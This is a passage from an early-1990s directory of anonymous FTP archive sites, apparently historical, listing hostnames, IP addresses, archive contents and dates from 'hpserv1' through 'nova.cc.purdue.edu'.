12/31/90 7 anonymous/odin@pilot.njin.net +hpserv1.cs.uit.no 128.39.70.50 unknown + hpserv1.cs.uit.no 02/02/91 7 anonymous/odin@pilot.njin.net +hpserv1.uit.no 128.39.60.50 HP stuff, X11, unix, etc. + hpserv1.uit.no 08/22/90 -1 anonymous/odin@pilot.njin.net +hscfsas1.harvard.edu 128.103.75.50 COPS + hscfsas1.harvard.edu 08/22/90 4 anonymous/odin@pilot.njin.net +hub.cs.jmu.edu 134.126.20.10 Mic-1 microarchitecture + hub.cs.jmu.edu simulator, package to boot + hub.cs.jmu.edu minix from hard drive + hub.cs.jmu.edu 05/15/90 4 anonymous/odin@pilot.njin.net +hub.ucsb.edu 128.111.24.40 UNISEX + hub.ucsb.edu 05/15/90 7 anonymous/odin@pilot.njin.net +hubcap.clemson.edu 130.127.8.1 RFCs + hubcap.clemson.edu 05/15/90 4 anonymous/odin@pilot.njin.net +hurratio.tde.lth.se 130.235.32.22 GNU stuff, some local elisp + hurratio.tde.lth.se stuff + hurratio.tde.lth.se 05/15/90 -2 anonymous/odin@pilot.njin.net +husc6.harvard.edu 128.103.1.56 pcip, appleII, uumap copy, + husc6.harvard.edu ucb tahoe + husc6.harvard.edu 05/15/90 4 anonymous/odin@pilot.njin.net +hydra.helsinki.fi 128.214.4.29 misc, TeX, X, + hydra.helsinki.fi comp.sources.misc, + hydra.helsinki.fi comp.sources.sun, + hydra.helsinki.fi comp.sources.unix, + hydra.helsinki.fi comp.bugs.4bsd.ucb-fixes, + hydra.helsinki.fi comp.binaries.ibm.pc + hydra.helsinki.fi 05/15/90 -3 anonymous/odin@pilot.njin.net +hydra.uwo.ca 129.100.2.13 some RFCs, vms stuff + hydra.uwo.ca 12/31/90 5 anonymous/odin@pilot.njin.net +iamsun.unibe.ch 130.92.64.10 ET++, GNU, graphics stuff + iamsun.unibe.ch 11/02/90 -2 anonymous/odin@pilot.njin.net +ibm1.cc.lehigh.edu 128.180.2.1 Virus-L programs/archives + ibm1.cc.lehigh.edu 08/22/90 4 anonymous/odin@pilot.njin.net +icaen.llnl.gov 128.115.2.99 VMS postscript + icaen.llnl.gov 128.115.2.100 + icaen.llnl.gov 12/31/90 7 anonymous/odin@pilot.njin.net +icarus.riacs.edu 134.12.1.1 SLIP, chkpt, macdump, Xpostit + icarus.riacs.edu 128.102.16.8 + icarus.riacs.edu 05/15/90 7 anonymous/odin@pilot.njin.net +icdc.llnl.gov 128.115.2.1 unknown + icdc.llnl.gov 12/31/90 7 anonymous/odin@pilot.njin.net +ics.uci.edu 128.195.1.1 perfect hash function gen., + ics.uci.edu web-to-c, + ics.uci.edu Protoize/Unprotoize, Think C + ics.uci.edu 08/22/90 7 anonymous/odin@pilot.njin.net +icsic.berkeley.edu 128.32.201.55 unknown + icsic.berkeley.edu 10/09/90 7 anonymous/odin@pilot.njin.net +iear.arts.rpi.edu 128.113.6.10 star gifs, raytracers, RTN, + iear.arts.rpi.edu graphics gems, numerical + iear.arts.rpi.edu recipes, raytracing + iear.arts.rpi.edu bibliographies + iear.arts.rpi.edu 12/31/90 4 anonymous/odin@pilot.njin.net +iesd.auc.dk 130.225.48.4 amiga, mac, msdos, myth + iesd.auc.dk 08/05/90 -2 anonymous/odin@pilot.njin.net +ifi.informatik.uni-stuttgart.de 129.69.211.1 unknown + ifi.informatik.uni-stuttgart.de 08/22/90 -2 anonymous/odin@pilot.njin.net +ifi.uio.no 129.240.64.2 results of DS5400 vs. DS5810 + ifi.uio.no 05/15/90 -2 anonymous/odin@pilot.njin.net +ils.nwu.edu 129.105.100.1 unknown + ils.nwu.edu 04/24/91 5 anonymous/odin@pilot.njin.net +indri.primate.wisc.edu 128.104.230.11 macintosh TransSkel + indri.primate.wisc.edu TransDisplay TransEdit, imake + indri.primate.wisc.edu 08/06/90 5 anonymous/odin@pilot.njin.net +indyvax.iupui.edu 134.68.1.2 unknown + indyvax.iupui.edu 12/31/90 5 anonymous/odin@pilot.njin.net +inria.inria.fr 128.93.8.1 RFCs, epelle, iepelle + inria.inria.fr 08/15/90 -2 anonymous/odin@pilot.njin.net +interviews.stanford.edu 36.22.0.175 InterViews X toolkit + interviews.stanford.edu 08/22/90 7 anonymous/odin@pilot.njin.net +ipac.caltech.edu 131.215.139.35 gated, sendmail, named, + ipac.caltech.edu kermit, ftp-list + ipac.caltech.edu 05/15/90 7 anonymous/odin@pilot.njin.net +iraun1.ira.uka.de 129.13.10.90 cisco, clover.ucdavis.edu, + iraun1.ira.uka.de comic, comp.sources.unix, + iraun1.ira.uka.de directories, doc, domain, + iraun1.ira.uka.de drafts, fig, fractals, + iraun1.ira.uka.de ftp-telnet-sw, games, gnu, + iraun1.ira.uka.de ham-radio, msdos, internet + iraun1.ira.uka.de accessible catalog, irc, + iraun1.ira.uka.de isode, kyoto common lisp, + iraun1.ira.uka.de mac, mail, misc, network, + iraun1.ira.uka.de news, osi.ncsl.nist.gov, + iraun1.ira.uka.de rolog, rfc, ripe, risks, + iraun1.ira.uka.de scheme, security, simtel20, + iraun1.ira.uka.de snmp, spims, src, sun, tex, + iraun1.ira.uka.de tiff, unix, vms, x11, x25 + iraun1.ira.uka.de ftp-list + iraun1.ira.uka.de 04/24/91 -2 anonymous/odin@pilot.njin.net +ireq-robot.hydro.qc.ca 131.195.20.131 unknown + ireq-robot.hydro.qc.ca 03/17/91 4 anonymous/odin@pilot.njin.net +iris1.ucis.dal.ca 129.173.18.107 IRIS stuff, space gifs, off + iris1.ucis.dal.ca objects, movie, byu objects + iris1.ucis.dal.ca 12/21/90 3 anonymous/odin@pilot.njin.net +iris613.gsfc.nasa.gov 128.183.10.147 tn3270 for IRIS and HPUX, + iris613.gsfc.nasa.gov other IRIS programs + iris613.gsfc.nasa.gov 05/15/90 4 anonymous/odin@pilot.njin.net +irisa.irisa.fr 131.254.2.3 NFF, TeX, iPSC2, tcsh, + irisa.irisa.fr alt.sources, + irisa.irisa.fr comp.binaries.atari.st, + irisa.irisa.fr comp.binaries.ibm.pc, + irisa.irisa.fr comp.binaries.mac, + irisa.irisa.fr comp.sources.atari.st, + irisa.irisa.fr comp.sources.games, + irisa.irisa.fr comp.sources.mac, + irisa.irisa.fr comp.sources.misc, + irisa.irisa.fr comp.sources.sun, + irisa.irisa.fr comp.sources.unix, + irisa.irisa.fr comp.sources.x + irisa.irisa.fr 05/15/90 -2 anonymous/odin@pilot.njin.net +isca01.icaen.uiowa.edu 128.255.19.175 unknown + isca01.icaen.uiowa.edu 03/17/91 anonymous/odin@pilot.njin.net +isca01.isca.uiowa.edu 128.255.16.175 NFF, TeX, iPSC2, tcsh, + isca01.isca.uiowa.edu 128.255.19.175 alt.sources, + isca01.isca.uiowa.edu comp.binaries.atari.st, + isca01.isca.uiowa.edu comp.binaries.ibm.pc, + isca01.isca.uiowa.edu comp.binaries.mac, + isca01.isca.uiowa.edu comp.sources.atari.st, + isca01.isca.uiowa.edu comp.sources.games, + isca01.isca.uiowa.edu comp.sources.mac, + isca01.isca.uiowa.edu comp.sources.misc, + isca01.isca.uiowa.edu comp.sources.sun, + isca01.isca.uiowa.edu comp.sources.unix, + isca01.isca.uiowa.edu comp.sources.x + isca01.isca.uiowa.edu 05/15/90 -2 anonymous/odin@pilot.njin.net +isdres.er.usgs.gov 130.11.48.2 US Geological Survey Maps + isdres.er.usgs.gov 10/06/90 4 anonymous/odin@pilot.njin.net +iss.byu.edu unknown + iss.byu.edu 05/18/91 4 anonymous/odin@pilot.njin.net +isy.liu.se 130.236.1.3 GNU stuff, screen 2.0, world + isy.liu.se map, ccmd, ftpd, TIFF + isy.liu.se library, Cellsim + isy.liu.se 05/15/90 -2 anonymous/odin@pilot.njin.net +itnsg1.cineca.it 130.186.1.194 NCSA software, Silcon + itnsg1.cineca.it Graphics, Graphics and + itnsg1.cineca.it Visualization, Unix + itnsg1.cineca.it 01/24/91 -2 anonymous/odin@pilot.njin.net +iubio.bio.indiana.edu 129.79.1.101 biology archive, molecular + iubio.bio.indiana.edu bio + iubio.bio.indiana.edu 12/31/90 4 anonymous/odin@pilot.njin.net +iuvax.cs.indiana.edu 129.79.254.192 ai biblio, artificial life, + iuvax.cs.indiana.edu faces bitmaps, scheme, + iuvax.cs.indiana.edu SIGPLAN, unix faq list, + iuvax.cs.indiana.edu usenet oracle, webster, + iuvax.cs.indiana.edu whitewater, et al + iuvax.cs.indiana.edu 02/19/91 4 anonymous/odin@pilot.njin.net +ix1.cc.utexas.edu 128.83.1.21 amiga + ix1.cc.utexas.edu 05/15/90 5 anonymous/odin@pilot.njin.net +ix2.cc.utexas.edu 128.83.1.29 amiga + ix2.cc.utexas.edu 05/15/90 5 anonymous/odin@pilot.njin.net +j.cc.purdue.edu 128.210.9.2 comp.sources.unix, + j.cc.purdue.edu 128.210.5.1 comp.sources.x, + j.cc.purdue.edu ( ! comp.sources.amiga, elm, + j.cc.purdue.edu uupc, comp.binaries.amiga, + j.cc.purdue.edu comp.sources.sun + j.cc.purdue.edu 11/02/90 4 anonymous/odin@pilot.njin.net +jade.tufts.edu 130.64.1.32 encore multimax, misc unix + jade.tufts.edu 03/26/91 4 anonymous/odin@pilot.njin.net +jaguar.cs.wisc.edu 128.105.1.202 unknown + jaguar.cs.wisc.edu 10/09/90 5 anonymous/odin@pilot.njin.net +jaguar.utah.edu 128.110.4.71 GNU + jaguar.utah.edu 05/31/90 6 anonymous/odin@pilot.njin.net +jec4a.its.rpi.edu 128.113.10.1 sun rasters, showtool, + jec4a.its.rpi.edu raytracer + jec4a.its.rpi.edu 02/06/91 4 anonymous/odin@pilot.njin.net +jhname.hcf.jhu.edu 128.220.2.7 sysV ports of BSD network + jhname.hcf.jhu.edu stuff + jhname.hcf.jhu.edu 08/06/90 4 anonymous/odin@pilot.njin.net +jhunix.hcf.jhu.edu 128.220.2.5 unknown + jhunix.hcf.jhu.edu 02/23/91 anonymous/odin@pilot.njin.net +jim.ultra.nyu.edu 128.122.129.21 gcc + jim.ultra.nyu.edu 05/31/90 4 anonymous/odin@pilot.njin.net +joker.optics.rochester.edu 128.151.240.1 nothing + joker.optics.rochester.edu 08/22/90 4 anonymous/odin@pilot.njin.net +jpl-devvax.jpl.nasa.gov 128.149.1.143 perl, patch, warp + jpl-devvax.jpl.nasa.gov 128.149.8.43 + jpl-devvax.jpl.nasa.gov 05/15/90 7 anonymous/odin@pilot.njin.net +june.cs.washington.edu 128.95.1.4 TeXhax, dviapollo, SmallTalk, + june.cs.washington.edu web2c, gated, presto, maitrd + june.cs.washington.edu 05/15/90 7 anonymous/odin@pilot.njin.net +jyu.fi 128.214.7.5 unix, atari, amiga, mac, + jyu.fi etherprint, abermud, ularn, + jyu.fi conquer, knight, larn, moria, + jyu.fi nethack 3.0 + jyu.fi 08/22/90 -3 anonymous/odin@pilot.njin.net +kampi.hut.fi 130.233.224.2 DES routines (unrestricted), + kampi.hut.fi GNU pascal + kampi.hut.fi 05/15/90 -3 anonymous/odin@pilot.njin.net +kappa.rice.edu 128.42.4.7 X11R3, GNU for Sequent S27, + kappa.rice.edu Sun3 + kappa.rice.edu 05/15/90 5 anonymous/odin@pilot.njin.net +karazm.math.uh.edu 129.7.7.6 iPSC archives, mathematics + karazm.math.uh.edu and parallel codes + karazm.math.uh.edu 04/24/91 5 anonymous/odin@pilot.njin.net +karron.med.nyu.edu 128.122.135.3 unknown + karron.med.nyu.edu 12/26/90 4 anonymous/odin@pilot.njin.net +killington.dartmouth.edu 129.170.28.17 sunchip + killington.dartmouth.edu 05/31/90 4 anonymous/odin@pilot.njin.net +kl.sri.com 128.18.10.6 comp.os.vms archives + kl.sri.com 08/22/90 7 anonymous/odin@pilot.njin.net +kolvi.hut.fi 130.233.160.32 kermit stuff, radio amateur + kolvi.hut.fi stuff (ka9q etc.), memacs + kolvi.hut.fi 3.10, packet radio + kolvi.hut.fi 08/22/90 -3 anonymous/odin@pilot.njin.net +ksuvm.ksu.edu 129.130.1.1 VM/CMS tools, PCSIG + ksuvm.ksu.edu 11/06/90 5 anonymous/odin@pilot.njin.net +kth.se 130.237.72.201 SCIX, sendmail 5.61 w/ida + kth.se 08/02/90 -2 anonymous/odin@pilot.njin.net +kuhub.cc.ukans.edu 129.237.1.10 VMS news + kuhub.cc.ukans.edu 12/31/90 5 anonymous/odin@pilot.njin.net +kukulcan.berkeley.edu 128.32.131.190 moria archives + kukulcan.berkeley.edu 05/15/90 7 anonymous/odin@pilot.njin.net +kum.kaist.ac.kr 137.68.1.65 SDN info, ked + kum.kaist.ac.kr 128.134.1.1 + kum.kaist.ac.kr 03/28/91 -9 anonymous/odin@pilot.njin.net +kythera.nmsu.edu 128.123.1.14 ChTeX, misc X11 stuff, + kythera.nmsu.edu Chinese/Japanese X11 fonts, + kythera.nmsu.edu Chinese/Japanese utils + kythera.nmsu.edu 01/02/91 6 anonymous/odin@pilot.njin.net +l.cc.purdue.edu 128.210.2.8 nothing + l.cc.purdue.edu 05/15/90 4 anonymous/odin@pilot.njin.net +labrea.stanford.edu 36.8.0.47 GNU, X, official TeX sources, + labrea.stanford.edu lots of other stuff + labrea.stanford.edu 08/22/90 7 anonymous/odin@pilot.njin.net +lamont.ldgo.columbia.edu 129.236.10.30 parse, sunacct, pkunzip, + lamont.ldgo.columbia.edu boeing graph + lamont.ldgo.columbia.edu 08/22/90 4 anonymous/odin@pilot.njin.net +lampwick.berkeley.edu 128.32.131.141 nh3.0 + lampwick.berkeley.edu 08/22/90 7 anonymous/odin@pilot.njin.net +lan_stuff.ucs.indiana.edu 129.79.16.96 ms windows packet drivers + lan_stuff.ucs.indiana.edu 08/22/90 5 anonymous/odin@pilot.njin.net +lancaster.andrew.cmu.edu 128.2.13.21 CMU PCIP, RFC1073 telnetd, + lancaster.andrew.cmu.edu RFC1048 bootp + lancaster.andrew.cmu.edu 05/15/90 4 anonymous/odin@pilot.njin.net +larry.cs.washington.edu 128.95.1.7 Poker + larry.cs.washington.edu 08/22/90 7 anonymous/odin@pilot.njin.net +larry.mcrcim.mcgill.edu 132.206.4.3 RFCs, X, local nameserver, + larry.mcrcim.mcgill.edu 132.206.1.1 games, scred (sun bitmap + larry.mcrcim.mcgill.edu editor) + larry.mcrcim.mcgill.edu 05/15/90 4 anonymous/odin@pilot.njin.net +latour.colorado.edu 128.138.204.19 resource discovery papers + latour.colorado.edu 01/17/91 6 anonymous/odin@pilot.njin.net +lcs.mit.edu 18.26.0.36 RFCs, Map, telecom archive + lcs.mit.edu 05/15/90 4 anonymous/odin@pilot.njin.net +lhc.nlm.nih.gov 130.14.1.128 mkmf + lhc.nlm.nih.gov 08/22/90 4 anonymous/odin@pilot.njin.net +lilac.berkeley.edu 128.32.136.12 POP3 for BSD/Ultrix/sunOS + lilac.berkeley.edu 05/15/90 7 anonymous/odin@pilot.njin.net +linc.cis.upenn.edu 130.91.6.8 psfig for ditroff, TeX, + linc.cis.upenn.edu unix-pc, Nethack sources + linc.cis.upenn.edu 08/31/90 4 anonymous/odin@pilot.njin.net +lll-crg.llnl.gov 128.115.1.1 X11R4 + lll-crg.llnl.gov 05/15/90 7 anonymous/odin@pilot.njin.net +loke.idt.unit.no 129.241.1.103 mh 6.6, news, rrn, nntp, + loke.idt.unit.no 129.241.103.1 sun-spots, webster server, + loke.idt.unit.no GCC vms binaries, net + loke.idt.unit.no directories + loke.idt.unit.no 08/22/90 -2 anonymous/odin@pilot.njin.net +louie.udel.edu 128.175.1.3 net.exe, minix, NORD<>LINK, + louie.udel.edu 128.175.2.33 MH, amiga + louie.udel.edu 05/15/90 4 anonymous/odin@pilot.njin.net +lth.se 130.235.16.3 NeWS, cnews, bind, nntp, + lth.se sendmail, Poskanzer rasterxs, + lth.se X11R4 + lth.se 05/16/90 -2 anonymous/odin@pilot.njin.net +ltisun.epfl.ch 128.178.119.94 xconq + ltisun.epfl.ch 09/01/90 -2 anonymous/odin@pilot.njin.net +lurch.stanford.edu 36.22.0.14 unknown + lurch.stanford.edu 04/24/91 7 anonymous/odin@pilot.njin.net +lut.fi 128.214.25.8 PD sources modified for + lut.fi hp-ux, PC antivirus, uEmacs + lut.fi 3.10, local research reports + lut.fi (neural nets, parallel + lut.fi computing, etc) + lut.fi 03/15/91 -2 anonymous/odin@pilot.njin.net +m2c.m2c.org 128.188.1.2 Archives for cavers mailing + m2c.m2c.org list + m2c.m2c.org 05/15/90 4 anonymous/odin@pilot.njin.net +m9-520-1.mit.edu 18.80.0.45 xim utils + m9-520-1.mit.edu 05/16/90 4 anonymous/odin@pilot.njin.net +macbeth.stanford.edu 36.21.0.13 nothing + macbeth.stanford.edu 08/22/90 7 anonymous/odin@pilot.njin.net +maccs.dcss.mcmaster.ca 130.113.1.1 GNU, fbm, pbmplus, sun fixes + maccs.dcss.mcmaster.ca 01/17/91 anonymous/odin@pilot.njin.net +mach.ncsc.org 128.109.178.3 unknown + mach.ncsc.org 128.109.173.243 + mach.ncsc.org 11/24/90 4 anonymous/odin@pilot.njin.net +mach1.npac.syr.edu 128.230.7.14 unknown + mach1.npac.syr.edu 10/25/90 4 anonymous/odin@pilot.njin.net +maddog.llnl.gov 128.115.10.1 AWM X tutorial, PCP + maddog.llnl.gov preprocessor & libraries, + maddog.llnl.gov Generic MCPI environment, uw + maddog.llnl.gov for mac, plot library + maddog.llnl.gov 05/15/90 7 anonymous/odin@pilot.njin.net +madhaus.utcs.utoronto.ca 128.100.102.10 mac + madhaus.utcs.utoronto.ca 07/08/90 4 anonymous/odin@pilot.njin.net +mailhost.berkeley.edu 128.32.136.9 unknown + mailhost.berkeley.edu 128.32.206.9 + mailhost.berkeley.edu 10/07/90 7 anonymous/odin@pilot.njin.net +mammoth.cs.unr.edu 134.197.40.241 STTNG program guide + mammoth.cs.unr.edu 10/21/90 7 anonymous/odin@pilot.njin.net +mandarin.mit.edu 18.82.0.21 astro + mandarin.mit.edu 07/22/90 4 anonymous/odin@pilot.njin.net +mango.miami.edu 129.171.0.18 VMS stuff + mango.miami.edu 05/31/90 4 anonymous/odin@pilot.njin.net +mango.rsmas.miami.edu 129.171.98.18 unknown + mango.rsmas.miami.edu 12/08/90 4 anonymous/odin@pilot.njin.net +marlin.jcu.edu.au 137.219.16.14 unknown + marlin.jcu.edu.au 03/17/91 -11 anonymous/odin@pilot.njin.net +mars.ee.msstate.edu 130.18.64.3 msdos, amiga, mac, atari, + mars.ee.msstate.edu pkracks, etc. + mars.ee.msstate.edu 01/03/91 5 anonymous/odin@pilot.njin.net +math.berkeley.edu 128.32.183.94 unknown + math.berkeley.edu 02/23/91 7 anonymous/odin@pilot.njin.net +math.princeton.edu 128.112.128.157 unknown + math.princeton.edu 128.112.16.1 + math.princeton.edu 12/31/90 4 anonymous/odin@pilot.njin.net +math.ucla.edu 128.97.64.16 named, nettools, sendmail, + math.ucla.edu gap, pari + math.ucla.edu 09/22/90 7 anonymous/odin@pilot.njin.net +math.uni-heidelberg.de 129.206.103.100 mac + math.uni-heidelberg.de 01/11/91 -2 anonymous/odin@pilot.njin.net +mathinfo.ams.com 130.44.1.100 American Math Society TeX + mathinfo.ams.com archive - AMS-tex, ams-latex, + mathinfo.ams.com euler and other mathematical + mathinfo.ams.com metafonts + mathinfo.ams.com 11/02/90 4 anonymous/odin@pilot.njin.net +maths.su.oz.au 129.78.68.2 unknown + maths.su.oz.au 12/26/90 10 anonymous/odin@pilot.njin.net +max.ee.lsu.edu 130.39.128.96 unix lharc source, hp48sx sw + max.ee.lsu.edu 11/25/90 5 anonymous/odin@pilot.njin.net +max.physics.sunysb.edu 129.49.21.100 MGR for unix-pc + max.physics.sunysb.edu 01/17/91 4 anonymous/odin@pilot.njin.net +maxwell.physics.purdue.edu 128.46.135.3 King James Bible, Commodore + maxwell.physics.purdue.edu Kermit binary files + maxwell.physics.purdue.edu 08/22/90 5 anonymous/odin@pilot.njin.net +mbcrr.harvard.edu 134.174.79.60 protein library + mbcrr.harvard.edu 08/06/90 4 anonymous/odin@pilot.njin.net +mcclb0.med.nyu.edu 128.122.135.4 unknown + mcclb0.med.nyu.edu 02/23/91 5 anonymous/odin@pilot.njin.net +mclean-unisys.army.mil 26.13.0.17 nothing + mclean-unisys.army.mil 08/22/90 7 anonymous/odin@pilot.njin.net +mcnc.mcnc.org 128.109.130.3 ftpd bugfix, intro NIC docs, + mcnc.mcnc.org 128.109.131.1 VLSI CAD tool benchmarks, + mcnc.mcnc.org 129.109.131.1 some RFCs, triangle.jobs + mcnc.mcnc.org archive + mcnc.mcnc.org 1/23/91 4 anonymous/odin@pilot.njin.net +mcsun.eu.net 192.16.202.1 gnu, graphics, mail, misc + mcsun.eu.net network, znews, programming, + mcsun.eu.net ripe, text proc utils, uumap, + mcsun.eu.net windows, security, + mcsun.eu.net eurographics, bootstrap + mcsun.eu.net 01/11/91 -2 anonymous/odin@pilot.njin.net +mdaali.cancer.utexas.edu 129.106.1.6 locally written statistical + mdaali.cancer.utexas.edu software, msdos, mac + mdaali.cancer.utexas.edu 03/01/91 5 anonymous/odin@pilot.njin.net +me10.lbl.gov 128.3.128.110 X11 binaries for hp-ux, me10 + me10.lbl.gov macros, bind for hp-ux, tex + me10.lbl.gov for hp-ux, misc hp-ux + me10.lbl.gov utilities + me10.lbl.gov 08/22/90 7 anonymous/odin@pilot.njin.net +meadow.stanford.edu 36.64.0.20 unknown + meadow.stanford.edu 05/15/90 7 anonymous/odin@pilot.njin.net +meap.uta.edu 129.107.2.20 msdos engineering/science sw + meap.uta.edu 04/24/91 anonymous/odin@pilot.njin.net +media-lab.media.mit.edu 18.85.0.2 unknown + media-lab.media.mit.edu 07/22/90 4 anonymous/odin@pilot.njin.net +menaik.cs.ualberta.ca 129.128.4.241 SMURPH + menaik.cs.ualberta.ca 09/01/90 5 anonymous/odin@pilot.njin.net +merit.edu 35.1.1.42 RFCs, ideas + merit.edu 08/22/90 4 anonymous/odin@pilot.njin.net +merlin.cs.purdue.edu 128.10.2.3 ConcurrenC, Xinu, mac + merlin.cs.purdue.edu 11/09/90 5 anonymous/odin@pilot.njin.net +metro.ucc.su.oz.au 129.78.64.2 Internet Resource Guide + metro.ucc.su.oz.au 01/17/91 -12 anonymous/odin@pilot.njin.net +mibsrv.mib.eng.ua.edu 130.160.20.80 bitmaps, GIF, games + mibsrv.mib.eng.ua.edu 05/15/90 5 anonymous/odin@pilot.njin.net +midgard.ucsc.edu 128.114.14.6 amoeba, tr, us.constitution + midgard.ucsc.edu 06/02/90 7 anonymous/odin@pilot.njin.net +midway.uchicago.edu 128.135.12.73 OzTeX + midway.uchicago.edu 07/09/90 5 anonymous/odin@pilot.njin.net +miki.cs.titech.ac.jp 131.112.172.15 Nemacs + miki.cs.titech.ac.jp 08/22/90 -12 anonymous/odin@pilot.njin.net +mildred.lerc.nasa.gov 139.88.30.61 unknown + mildred.lerc.nasa.gov 03/17/91 anonymous/odin@pilot.njin.net +milton.u.washington.edu 128.95.136.1 commodore, star trek info, + milton.u.washington.edu dist point for Mentifex AI, + milton.u.washington.edu go + milton.u.washington.edu 12/24/90 7 anonymous/odin@pilot.njin.net +mims-iris.waterloo.edu 129.97.129.116 laser fonts & utilities + mims-iris.waterloo.edu 08/22/90 4 anonymous/odin@pilot.njin.net +mimsy.umd.edu 128.8.128.8 declarative languages bib, + mimsy.umd.edu SLIP, rn + mimsy.umd.edu 01/17/91 4 anonymous/odin@pilot.njin.net +mindseye.berkeley.edu 128.32.232.19 kanji + mindseye.berkeley.edu 05/31/90 7 anonymous/odin@pilot.njin.net +mips.mips.com 130.62.14.10 comp.sys.mips archive + mips.mips.com 07/08/90 7 anonymous/odin@pilot.njin.net +mis1.mis.mcw.edu 141.106.64.11 decus uucp, anu-news + mis1.mis.mcw.edu 03/22/91 anonymous/odin@pilot.njin.net +mizar.docs.uu.se 130.238.4.1 gnu + mizar.docs.uu.se 130.238.8.6 + mizar.docs.uu.se 05/31/90 -2 anonymous/odin@pilot.njin.net +mojo.eng.umd.edu 128.8.133.9 unknown + mojo.eng.umd.edu 10/25/90 4 anonymous/odin@pilot.njin.net +mondo.engin.umich.edu 141.212.68.14 unknown + mondo.engin.umich.edu 05/02/91 4 anonymous/odin@pilot.njin.net +monk.proteon.com 128.185.123.16 cc:mail to smtp gateway + monk.proteon.com 05/15/90 4 anonymous/odin@pilot.njin.net +monu1.cc.monash.edu.au 130.194.1.101 unix stuff, gnuplot + monu1.cc.monash.edu.au 130.194.96.22 + monu1.cc.monash.edu.au 06/07/90 -10 anonymous/odin@pilot.njin.net +monu6.cc.monash.edu.au 130.194.32.106 unknown + monu6.cc.monash.edu.au 03/22/91 -11 anonymous/odin@pilot.njin.net +moose.cccs.umn.edu 128.101.133.53 icalc + moose.cccs.umn.edu 08/22/90 5 anonymous/odin@pilot.njin.net +mordred.cs.purdue.edu 128.10.2.2 unknown + mordred.cs.purdue.edu 08/22/90 5 anonymous/odin@pilot.njin.net +mrcnext.cso.uiuc.edu 128.174.201.12 amiga + mrcnext.cso.uiuc.edu 05/15/90 5 anonymous/odin@pilot.njin.net +msdos.archive.umich.edu 141.211.165.34 msdos, mac + msdos.archive.umich.edu 03/01/91 anonymous/odin@pilot.njin.net +mthvax.cs.miami.edu 129.171.32.5 homebrew, constitution, worm, + mthvax.cs.miami.edu elm, nn + mthvax.cs.miami.edu 08/22/90 4 anonymous/odin@pilot.njin.net +mtsg.ubc.ca 137.82.27.1 msdos, unix, amiga, os2 + mtsg.ubc.ca 08/22/90 4 anonymous/odin@pilot.njin.net +mungarra.asis.unimelb.edu.au 128.250.150.2 unknown + mungarra.asis.unimelb.edu.au 01/17/91 -12 anonymous/odin@pilot.njin.net +munnari.oz.au 128.250.1.21 graphics progs (vogle, vopl, + munnari.oz.au 192.43.207.1 vort), cap, multigate + munnari.oz.au archive, comp.sources.unix, + munnari.oz.au RFCs + munnari.oz.au 08/31/90 -10 anonymous/odin@pilot.njin.net +mvb.saic.com 139.121.19.1 unknown + mvb.saic.com 03/17/91 anonymous/odin@pilot.njin.net +n1dmm.cs.washington.edu 128.95.1.28 unknown + n1dmm.cs.washington.edu 03/31/91 7 anonymous/odin@pilot.njin.net +nada.kth.se 130.237.222.71 unknown + nada.kth.se 08/22/90 -2 anonymous/odin@pilot.njin.net +nanny.lysator.liu.se 130.236.254.13 irc, lpmud, primos, qnx + nanny.lysator.liu.se 08/23/90 -2 anonymous/odin@pilot.njin.net +ncbi.nlm.nih.gov 130.14.20.1 unknown + ncbi.nlm.nih.gov 10/09/90 4 anonymous/odin@pilot.njin.net +ncifcrf.gov 129.43.1.11 xtrek5.4 + ncifcrf.gov 12/31/90 4 anonymous/odin@pilot.njin.net +ncnoc.concert.net 128.109.193.1 misc local network info + ncnoc.concert.net 192.101.21.1 + ncnoc.concert.net 05/15/90 4 anonymous/odin@pilot.njin.net +nebula.systemsz.cs.yale.edu 128.36.13.1 haskell + nebula.systemsz.cs.yale.edu 05/31/90 4 anonymous/odin@pilot.njin.net +neon.stanford.edu 36.28.0.92 unknown + neon.stanford.edu 01/17/91 7 anonymous/odin@pilot.njin.net +nervm.nerdc.ufl.edu 128.227.212.10 VM tcpip mods, VM/SP VM/XA + nervm.nerdc.ufl.edu real time monitor + nervm.nerdc.ufl.edu 08/22/90 4 anonymous/odin@pilot.njin.net +netlab.usu.edu 129.123.1.11 netwatch, PC/IP + netlab.usu.edu 08/22/90 6 anonymous/odin@pilot.njin.net +network.ucsd.edu 128.54.16.3 anime gifs, anime stuff, + network.ucsd.edu columbia appletalk package + network.ucsd.edu 12/24/90 7 anonymous/odin@pilot.njin.net +newell.arc.nasa.gov 128.102.25.43 unknown + newell.arc.nasa.gov 08/22/90 7 anonymous/odin@pilot.njin.net +next.com 129.18.1.2 unknown + next.com 08/22/90 7 anonymous/odin@pilot.njin.net +nexus.yorku.ca 130.63.9.1 unknown + nexus.yorku.ca 03/17/91 anonymous/odin@pilot.njin.net +nic.cerf.net 192.102.249.3 CERFnet connectivity maps + nic.cerf.net 08/22/90 7 anonymous/odin@pilot.njin.net +nic.ddn.mil 192.67.67.20 netinfo, RFCs, IEN, IETF + nic.ddn.mil 08/22/90 7 anonymous/odin@pilot.njin.net +nic.funet.fi 128.214.6.100 GNU, X11, networking, msdos, + nic.funet.fi mac, amiga, atari, security + nic.funet.fi docs and software, + nic.funet.fi cryptography stuff, sony news + nic.funet.fi software + nic.funet.fi 08/22/90 -3 anonymous/odin@pilot.njin.net +nic.mr.net 137.192.1.5 Minnesota Regional Net + nic.mr.net traffic data + nic.mr.net 08/22/90 5 anonymous/odin@pilot.njin.net +nic.near.net 192.52.71.4 nearnet info (docs forms) + nic.near.net 05/31/90 4 anonymous/odin@pilot.njin.net +nic.switch.ch 130.59.1.40 news archive, GNU (swiss ftp + nic.switch.ch server) + nic.switch.ch 05/15/90 -2 anonymous/odin@pilot.njin.net +niord.shsu.edu 192.92.115.8 unknown + niord.shsu.edu 04/24/91 anonymous/odin@pilot.njin.net +nis.nsf.net 35.1.1.48 Merit info, NSFnet Link + nis.nsf.net Letter + nis.nsf.net 08/22/90 4 anonymous/guest +nisc.jvnc.net 128.121.50.7 misc info + nisc.jvnc.net 05/31/90 4 anonymous/odin@pilot.njin.net +nisca.ircc.ohio-state.edu 128.146.1.7 alt.fax + nisca.ircc.ohio-state.edu 05/15/90 4 anonymous/odin@pilot.njin.net +nnsc.nsf.net 192.31.103.6 Network Info, Internet + nnsc.nsf.net 128.89.1.178 Resource Guide + nnsc.nsf.net 08/22/90 4 anonymous/odin@pilot.njin.net +noc.sura.net 192.80.214.100 various network maps + noc.sura.net 08/03/90 4 anonymous/odin@pilot.njin.net +nog.calstate.edu 130.150.102.100 network guides + nog.calstate.edu 08/22/90 7 anonymous/odin@pilot.njin.net +nova.cc.purdue.edu 128.210.7.22 Next archives + 